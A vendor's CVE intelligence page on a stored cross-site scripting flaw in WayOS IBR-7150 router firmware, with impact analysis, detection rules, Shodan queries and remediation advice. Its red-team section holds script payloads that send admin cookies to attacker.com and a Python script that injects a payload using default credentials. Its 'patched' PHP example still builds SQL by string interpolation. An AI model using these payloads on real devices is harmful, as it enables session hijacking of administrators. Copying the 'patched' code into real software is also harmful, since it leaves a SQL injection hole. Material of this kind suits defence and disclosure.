☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-22547

CVE-2024-22547 Cross-Site Scripting in Wayos
📅 PUBLISHED: 2024-02-22 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: < 17.06.23
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-22547 identifies a stored Cross-Site Scripting (XSS) vulnerability in the WayOS IBR-7150 router firmware versions prior to 17.06.23. This flaw allows an authenticated attacker to inject arbitrary JavaScript or HTML into the web management interface, which is then executed in the context of other administrators' browsers. Successful exploitation can lead to session hijacking, credential theft, or further compromise of the device's administrative functions. The vulnerability is publicly known, but no official patch has been confirmed by the vendor. Given the router's role as a network gateway, this XSS can pivot into broader network attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official vector assigned)
  • Attack Vector (AV): Network (likely)
  • Attack Complexity (AC): Low (likely)
  • Privileges Required (PR): Low (requires authenticated user)
  • User Interaction (UI): Required (victim admin must view the malicious page)
  • Scope (S): Changed (XSS can affect other admin sessions)
  • Confidentiality (C): Low (potential data leakage)
  • Integrity (I): Low (malicious actions possible)
  • Availability (A): None

Threat Level: Medium. While the CVSS is unassigned, the real-world impact is significant for network administrators. The requirement for authentication reduces the attack surface, but once inside, the attacker can escalate privileges or pivot to internal hosts.

Deep Dive & Mechanics

The vulnerability resides in the web-based management interface of the WayOS IBR-7150. The application fails to properly sanitize user-supplied input before storing it in a database or configuration file. When an administrator views the affected page (e.g., a log viewer, configuration panel, or status page), the stored malicious script is rendered in their browser.

Root Cause: Lack of output encoding or input validation on fields such as device name, SSID, or custom firewall rules. The injected payload is stored and later reflected without sanitization.

Attack Flow:

  1. Attacker authenticates to the router's admin panel (default credentials or brute-force).
  2. Attacker navigates to a vulnerable input field (e.g., "Device Name" under System Settings).
  3. Attacker injects a payload like <script>alert('XSS')</script>.
  4. The payload is stored in the router's configuration.
  5. When another admin (or the same admin later) views the page, the script executes.
  6. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// vulnerable.php
$device_name = $_POST['device_name'];
// No sanitization
$query = "UPDATE config SET device_name='$device_name'";
mysqli_query($conn, $query);
// Later, when displaying:
echo "<div>Device: $device_name</div>";

Patched Code (Conceptual):

// patched.php
$device_name = $_POST['device_name'];
// Sanitize input
$device_name = htmlspecialchars($device_name, ENT_QUOTES, 'UTF-8');
$query = "UPDATE config SET device_name='$device_name'";
mysqli_query($conn, $query);
// Output is already safe
echo "<div>Device: $device_name</div>";

The patch would involve proper output encoding using htmlspecialchars() or equivalent, and input validation to reject or escape HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WayOS IBR-7150 with firmware < 17.06.23
  • Valid admin credentials (e.g., admin/admin)
  • Network access to the router's web interface (default: 192.168.1.1)

Exploit Steps:

  1. Log in to the router's web interface.
  2. Navigate to System > Basic Settings > Device Name.
  3. Inject the following payload:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Click Save.
  5. Wait for another admin to view the System Status page, or trigger the page yourself.
  6. The cookie is exfiltrated to attacker.com.

Alternative Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log?data=' + document.cookie;
</script>

Automated Exploit (Python):

import requests

target = "http://192.168.1.1"
username = "admin"
password = "admin"
payload = "<script>alert('XSS')</script>"

session = requests.Session()
session.post(f"{target}/cgi-bin/login", data={"username": username, "password": password})
session.post(f"{target}/cgi-bin/set", data={"device_name": payload})
print("Payload injected. Trigger by visiting System Status.")

Blue Team

Detection:

  • Monitor for unusual POST requests to /cgi-bin/set with suspicious parameters.
  • Look for outbound HTTP requests from the router to unknown IPs (cookie exfiltration).
  • Check logs for repeated login attempts (brute-force).

Hunting:

  • Search for <script> tags in configuration backups or logs.
  • Use Wireshark to capture HTTP traffic to the router and inspect for XSS patterns.

Mitigation:

  • Restrict admin access to trusted IPs only.
  • Implement Content Security Policy (CSP) headers on the router.
  • Use a web application firewall (WAF) to filter XSS payloads.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to attacker-controlled domains from the router.
    • Suspicious POST requests to /cgi-bin/set containing <script> or onerror attributes.
  • Host:
    • Unusual entries in the router's configuration (e.g., device name containing JavaScript).
    • Modified system logs showing unexpected admin actions.
  • File:
    • Configuration backup files containing HTML/JavaScript in plaintext fields.

Detection Engineering

YARA Rule

rule wayos_xss_payload {
    meta:
        description = "Detects XSS payloads in WayOS IBR-7150 configuration"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22547"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: WayOS IBR-7150 XSS Payload Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in POST requests to WayOS router settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/set'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate admin actions with unusual characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-22547 WayOS IBR-7150 XSS Payload Injection";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/set"; http_uri;
    content:"<script"; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2024-22547;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade firmware to version 17.06.23 or later if available. Check WayOS official website for updates.
  2. Restrict admin access to the router's web interface to trusted IPs only (e.g., via firewall rules).
  3. Change default credentials immediately and enforce strong passwords.
  4. Disable remote management if not required.

Long-Term Measures:

  • Implement a web application firewall (WAF) to filter XSS payloads.
  • Regularly audit router configurations for suspicious entries.
  • Monitor logs for unusual admin activity.
  • Consider replacing the device if no patch is released.

Workaround:

  • If patching is not possible, use a reverse proxy with XSS filtering in front of the router's web interface.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WayOS"
http.html:"IBR-7150"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-22547/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.